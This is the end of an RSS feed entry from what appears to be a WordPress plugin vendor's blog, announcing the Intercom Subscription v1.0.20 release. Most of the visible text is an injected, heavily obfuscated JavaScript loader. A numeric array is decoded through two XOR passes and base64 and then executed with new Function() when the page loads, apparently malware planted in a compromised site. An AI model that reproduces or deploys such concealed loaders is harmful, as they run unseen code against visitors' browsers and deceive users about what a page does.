var _0xc4c3ed2ddbac=[29,26,112,5,14,48,39,6,13,10,17,16,29,30,9,11,13,10,113,26,12,32,9,16,0,26,17,7,1,36,124,37,0,10,112,46,15,48,32,9,28,35,39,42,28,121,124,35,29,9,59,43,12,25,63,4,14,120,1,7,13,10,43,44,14,47,124,33,16,33,17,43,0,48,112,42,15,13,10,7,27,32,60,24,16,33,26,13,27,13,1,24,15,9,60,18,2,47,13,17,14,47,124,7,26,14,60,10,28,29,36,4,0,48,60,1,27,35,56,10,0,26,47,17,15,120,112,17,27,13,113,24,0,13,10,1,15,10,32,10,15,35,10,4,15,13,60,2,28,35,10,10,15,10,39,46,15,13,10,10,0,48,60,7,28,10,56,5,15,13,60,42,25,47,112,17,11,121,35,37,14,48,47,16,0,47,124,31,11,29,25,33,16,32,13,6,12,25,35,3,25,121,18,31,27,9,59,2,15,36,43,25,14,36,17,29,15,9,120,25,15,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,44,11,63,35,41,30,48,17,4,0,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,45,15,9,120,43,12,32,47,9,30,63,120,43,14,48,120,43,11,48,29,9,30,48,39,31,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,9,35,5,15,48,29,25,15,36,43,16,14,32,120,25,0,9,56,16,15,9,35,2,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,10,59,31,11,121,25,4,11,26,56,16,11,25,63,42,14,26,9,41,14,48,17,44,0,14,43,41,14,32,26,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,59,2,15,36,43,17,14,48,1,4,30,48,39,31,14,14,17,2,14,32,29,9,0,32,17,16,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,4,11,26,56,29,14,10,47,25,14,48,43,43,12,30,43,29,15,9,120,25,15,36,43,1,12,10,9,27,14,48,17,44,0,14,43,2,11,48,18,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,35,31,14,25,9,45,14,32,44,29,14,10,47,25,14,48,43,43,12,30,43,2,12,10,59,30,13,10,56,16,15,48,29,17,11,47,120,17,11,26,10,16,13,10,18,45,2,13,1,24,15,9,60,18,2,32,39,26,0,26,39,24,9,10,6,13,31,120,35,10,7,120,112,42,7,35,9,43,27,12,121,2,15,120,59,46,7,120,10,24,7,10,60,7,7,35,121,7,24,13,36,6,7,32,60,2,7,50,48,6,28,35,125,6,27,13,35,42,7,35,47,46,27,121,60,11,12,48,47,4,31,27,17,43,0,48,63,12,9,29,26,42,15,120,113,10,0,29,32,10,27,29,10,42,25,32,112,5,14,48,39,6,13,10,17,16,31,27,17,44,15,47,63,12,14,48,60,26,2,32,59,6,0,26,59,27,14,48,32,25,9,47,120,4,9,9,1,24,15,9,60,18,2,32,5,28,11,9,125,13,2,32,59,6,0,26,59,27,14,48,32,16,11,47,63,42,11,47,120,4,29,29,36,30,27,121,10,13,26,13,26,45,27,25,14,45,26,33,17,42,12,26,120,42,13,32,43,17,30,63,39,5,15,63,39,6,11,121,14,4,29,13,5,37,15,63,120,44,15,48,1,16,15,13,1,25,0,121,13,37,13,48,5,1,12,36,43,30,0,10,43,45,12,26,14,14,27,13,60,10,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,11,48,13,44,15,32,17,7,26,9,35,17,11,63,39,43,5,10,43,6,29,27,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,24,28,30,30,24,28,30,10,30,27,13,113,25,25,32,9,46,29,30,47,37,11,48,13,44,15,32,17,7,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,13,26,25,28,0,63,112,16,26,11,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,1,27,120,14,30,2,47,59,26,0,26,39,31,12,36,6,4,29,14,29,37,11,10,9,24,9,26,59,1,11,120,26,45,16,35,1,46,14,47,60,26,12,48,47,4,31,27,17,5,9,63,120,17,12,13,26,2,25,33,17,5,9,63,120,17,12,13,29,37,13,26,25,28,0,63,112,16,30,48,29,43,14,48,124,6,13,29,1,37,12,9,5,6,15,9,48,27,26,13,60,25,9,47,112,17,11,121,35,37,12,10,13,29,0,47,121,13,11,26,47,4,11,32,63,63,14,63,121,26,2,32,13,29,13,48,112,24,14,121,43,3,12,10,59,3,12,25,60,26,2,47,63,12,12,26,47,5,30,29,60,25,30,29,32,24,29,13,1,25,0,121,13,37,12,10,13,29,0,47,121,25,2,47,47,25,12,63,13,42,11,9,60,27,26,11,39,6,11,48,9,16,0,36,43,46,11,48,17,29,7,32,13,17,11,50,39,31,0,26,48,26,2,47,63,26,14,10,124,6,29,13,1,13,11,48,63,6,12,9,59,16,31,27,17,1,13,9,112,10,15,63,47,4,25,47,25,41,15,9,120,41,13,30,13,43,29,9,1,4,0,9,120,5,11,48,44,45,16,35,1,13,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,7,0,32,29,1,12,30,13,37,13,10,59,7,9,121,29,37,13,26,5,25,14,121,9,11,11,48,63,6,12,9,59,16,31,26,43,43,12,36,35,56,11,48,17,29,13,9,39,43,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,45,9,26,59,28,14,9,124,44,30,27,17,16,15,9,35,10,15,121,9,11,12,48,47,4,31,27,17,27,14,10,112,26,15,10,14,13,14,48,63,7,31,27,13,120,6,28,13,6,12,25,35,58,0,9,47,5,0,9,39,6,29,30,10,11,2,32,1,29,0,48,13,17,13,30,43,31,11,26,63,16,29,30,124,56,6,33,39,60,16,36,29,37,13,10,59,7,9,121,29,6,11,63,63,43,29,13,1,37,13,32,25,46,13,26,47,26,30,63,39,43,12,27,59,43,11,9,63,43,11,47,120,48,0,10,47,44,0,9,60,26,16,34,39,31,14,63,120,43,14,63,121,29,4,25,9,2,0,14,125,30,16,32,47,2,11,26,29,25,15,32,47,6,13,10,17,16,30,32,5,3,14,32,44,45,29,13,1,37,13,32,25,46,13,26,47,26,30,63,120,25,14,10,63,31,12,9,121,13,28,13,36,2,27,29,1,37,13,32,25,46,13,26,47,26,30,48,17,16,14,26,17,17,0,29,25,46,12,10,43,41,12,26,9,31,14,121,14,25,9,47,120,4,9,9,1,37,0,47,13,42,13,48,25,7,0,30,13,50,3,34,17,123,30,63,35,17,11,63,39,43,29,27,17,27,14,10,112,26,15,10,14,16,11,48,63,3,11,26,17,16,11,32,63,60,0,9,13,6,29,14,10,11,10,10,39,17,12,26,39,26,29,26,48,25,9,33,17,16,15,9,35,10,15,121,13,43,29,13,1,13,10,13,1,37,13,32,25,46,13,26,47,26,30,48,17,16,0,9,59,4,14,47,60,13,2,32,1,29,0,48,13,17,13,30,43,31,14,63,120,25,14,10,63,31,12,9,121,13,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,37,14,48,47,2,9,26,60,26,14,48,63,7,31,28,63,4,11,48,17,4,29,30,10,25,25,47,26,11,2,32,1,29,0,48,13,17,13,30,43,3,0,10,43,44,29,28,5,57,6,34,44,16,11,47,120,4,13,10,43,45,13,10,112,9,29,27,17,26,13,48,9,16,29,14,10,11,10,14,10,11,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,2,13,10,43,30,13,10,32,26,2,47,63,43,12,26,120,42,13,30,9,11,13,10,113,26,2,47,63,43,12,26,120,42,13,29,44,13,2,32,43,17,14,48,124,7,14,47,36,16,14,26,63,16,0,47,120,26,29,9,59,43,12,25,63,4,14,121,35,56,11,48,17,29,13,9,39,43,30,63,59,43,11,32,17,30,12,48,48,26,14,63,63,30,14,30,10,11,12,48,47,4,31,27,17,16,11,48,124,28,15,47,113,13,9,32,5,3,14,32,43,4,11,26,56,12,16,35,60,16,27,30,125,30,14,10,63,6,13,26,17,44,25,121,124,43,12,26,13,37,15,32,47,30,14,30,125,30,11,26,47,4,15,10,25,3,25,49,1,11,12,26,18,12,2,32,39,26,0,26,39,24,9,10,6,30,0,26,47,6,15,13,6,45,27,25,14,45,29,33,17,43,0,48,63,12,9,25,26,30,16,32,29,17,12,26,63,3,12,30,124,35,30,26,9,44,25,120,47,13,25,47,59,43,12,25,63,4,14,121,35,37,12,32,124,30,11,9,121,26,2,32,43,17,14,48,124,7,14,47,35,33,2,47,63,43,12,26,120,42,13,27,26,30,2,32,43,4,0,32,5,41,12,121,10,16,12,26,13,43,14,121,13,46,12,10,43,41,12,26,9,31,14,121,13,37,12,26,112,44,14,26,18,25,9,47,112,17,11,121,35,37,0,32,39,2,15,13,25,37,12,26,112,44,14,26,18,46,16,49,17,6,0,48,120,30,14,36,43,4,0,9,39,5,14,25,121,15,2,32,120,41,12,9,5,16,15,121,13,37,12,26,112,44,14,26,18,16,11,48,63,3,12,10,29,6,29,13,6,45,16,35,1,25,0,121,13,37,0,32,39,2,15,14,9,4,0,9,120,5,11,48,44,18,2,32,124,41,11,26,32,16,11,48,63,2,14,26,47,41,0,14,14,31,2,30,18,27,16,30,18,30,16,36,125,25,25,47,59,43,12,25,63,4,14,121,35,37,11,26,9,16,14,26,9,17,29,27,17,5,0,9,120,44,15,48,14,27,27,14,10,11,10,14,10,16,15,32,47,6,15,32,14,26,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,4,0,9,120,5,11,48,44,18,2,47,35,25,14,48,29,25,15,14,13,37,12,10,63,6,0,26,59,26,29,35,32,25,25,47,26,25,25,47,25,46,12,10,43,41,12,26,9,31,14,121,35,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,9,1,24,15,9,60,18,2,47,63,46,11,47,60,13,0,26,17,41,12,10,25,43,14,63,121,16,15,47,59,43,15,9,120,43,24,10,29,43,14,10,63,16,12,30,14,45,11,32,39,4,13,9,35,6,16,36,10,11,2,47,63,46,11,47,60,16,11,47,59,41,26,11,17,6,0,32,29,17,29,36,125,31,15,9,35,25,30,63,35,26,11,29,17,3,26,14,125,27,2,47,13,17,14,47,124,7,29,36,125,46,2,47,113,13,16,36,1,120,15,9,120,26,30,48,112,30,14,32,17,4,29,28,120,17,12,26,48,16,14,48,17,7,29,30,10,31,28,120,36,2,27,29,36,25,25,33,17,5,0,63,39,4,30,48,47,3,9,10,43,41,26,9,120,4,12,10,48,11,29,26,120,31,15,47,63,29,0,10,43,6,30,48,13,43,15,10,120,14,10,26,120,31,15,47,63,29,0,10,43,6,30,48,59,31,0,25,10,25,30,48,47,2,11,26,63,16,0,28,39,26,13,10,29,44,29,27,17,5,0,63,39,4,29,13,1,13,2,47,35,25,14,48,29,25,15,14,14,2,29,14,43,6,13,26,63,16,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,6,0,32,29,17,29,9,1,25,0,121,13,37,12,26,124,30,15,14,9,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,13,1,13,29,13,1,13,29,14,14,25,25,47,117,117];
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
  _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
  _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();</script></p>
<p>The post <a rel="nofollow" href="https://79mplus.com/intercom-subscription-v1-0-20-is-now-available-find-out-whats-new/">Intercom Subscription v1.0.20 is Now Available: Find Out What’s New</a> appeared first on <a rel="nofollow" href="https://79mplus.com">79mplus</a> and is written by <a rel="nofollow" href="https://79mplus.com/author/79mplus_editor/">79mplus Editor</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
